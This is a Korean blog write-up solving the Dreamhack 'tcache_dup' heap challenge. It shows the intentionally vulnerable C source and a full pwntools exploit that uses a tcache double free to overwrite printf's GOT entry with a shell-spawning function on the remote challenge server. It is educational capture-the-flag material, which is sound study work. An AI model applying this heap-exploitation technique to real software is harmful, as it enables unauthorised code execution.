system hacking

드림핵 tcache_dup 문제 풀이

24kg0ld 2024. 7. 22. 23:18

1. 문제 파일 다운, 환경 분석

$ chmod +x tcache_dup로 실행 권한을 부여했다.
envrionment

Ubuntu 18.04
Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

Partial RELRO, Canary, NX가 적용되어 있음을 알 수 있다.

2. 코드 분석

// gcc -o tcache_dup tcache_dup.c -no-pie
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

char *ptr[10];

void alarm_handler() {
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}

int create(int cnt) {
    int size;

    if (cnt > 10) { //cnt가 10보다 크다면 함수 종료
        return -1;
    }
    printf("Size: ");
    scanf("%d", &size); //size 입력 받아서

    ptr[cnt] = malloc(size); //size 크기의 공간 할당 후 ptr[cnt]에 주소 저장

    if (!ptr[cnt]) {//ptr[cnt]가 NULL이라면 함수 종료
        return -1;
    }

    printf("Data: ");
    read(0, ptr[cnt], size); //ptr[cnt]에 최대 size만큼의 입력 받음
}

int delete() {
    int idx;

    printf("idx: ");
    scanf("%d", &idx); //idx 입력 받아서

    if (idx > 10) { //idx가 10보다 크면 함수 종료
        return -1;
    }

    free(ptr[idx]); //ptr[idx] 할당 해제
}

void get_shell() {
    system("/bin/sh"); //shell 실행
}

int main() {
    int idx;
    int cnt = 0;

    initialize();

    while (1) {
        printf("1. Create\n");
        printf("2. Delete\n");
        printf("> ");
        scanf("%d", &idx);

        switch (idx) {
            case 1:
                create(cnt);
                cnt++;
                break;
            case 2:
                delete();
                break;
            default:
                break;
        }
    }

    return 0;
}

3. 취약점 분석

문제의 코드대로면 double free bug를 사용해야 될 것 같은데 tcache의 key 값을 바꿀 방법이 없다.
double free bug 보호기법이 적용되어 있는지 확인하기 위해서 일단 파일을 실행해 보았다.

$ ./tcache_dup
1. Create
2. Delete
> 1
Size: 400
Data: A
1. Create
2. Delete
> 2
idx: 0
1. Create
2. Delete
> 2
idx: 0
1. Create
2. Delete
>

문제에서 주어진 파일을 실행하고 같은 주소로 free를 2번 했는데 아무런 오류없이 free가 되는 것을 확인했다.
문제에서 주어진 라이브러리에서는 double free bug를 막는 코드가 없는 것 같다.
또, 보호기법에 PIE가 설정되지 않았기 때문에 got의 주소를 쉽게 찾을 수 있다.
쉘을 실행하는 함수인 get_shell의 주소도 바로 알아낼 수 있다(NO PIE)
정리해보면 double free bug를 이용하여 tcache에서 fd 값을 오염시켜서 fd가 특정 함수의 got를 가리키게 한 다음,
그 got 주소에 get_shell의 주소를 넣어주면 쉘을 실행할 수 있을 것 같다.

4. get_shell 주소 찾기

pwndbg> info func get_shell
All functions matching regular expression "get_shell":

Non-debugging symbols:
0x0000000000400ab0  get_shell

gdb를 활용하여 get_shell의 주소가 0x0000000000400ab0임을 알아냈다.

5. 코드 작성

from pwn import *

p = remote('host3.dreamhack.games', 10018)
e = ELF('./tcache_dup')

context.arch = 'amd64'


def create(size, data):
    p.sendlineafter(b'> ', str(1).encode())
    p.sendlineafter(b': ', str(size).encode())
    p.sendafter(b': ', data)


def delete(idx):
    p.sendlineafter(b'> ', str(2).encode())
    p.sendlineafter(b': ', str(idx).encode())


create(0x50, b'A')  # heap에 0x50만큼 할당
delete(0)  # tcache : chunk A
delete(0)  # tcahce : chunk A -> chunk A

printf_got = e.got['printf']  # printf의 got 주소 구하기
create(0x50, p64(printf_got))  # tcache : chunk A -> printf@got (chunk A의 fd 값을 printf의 got 주소로 바꾸어주었다.)

create(0x50, b'B')  # tcache : printf@got (재할당을 하여 tcache에 printf의 got 주소만 남게 하였다.)

get_shell = 0x0000000000400ab0
create(0x50, p64(get_shell))  # printf_got = get_shell (malloc으로 printf의 got에 get_shell 함수의 주소를 써주었다.)

p.interactive()

위의 코드로 익스플로잇에 성공했다.
prinf 함수 이외에도 코드 내에서 실행되어진 다양한 함수를 활용할 수 있다.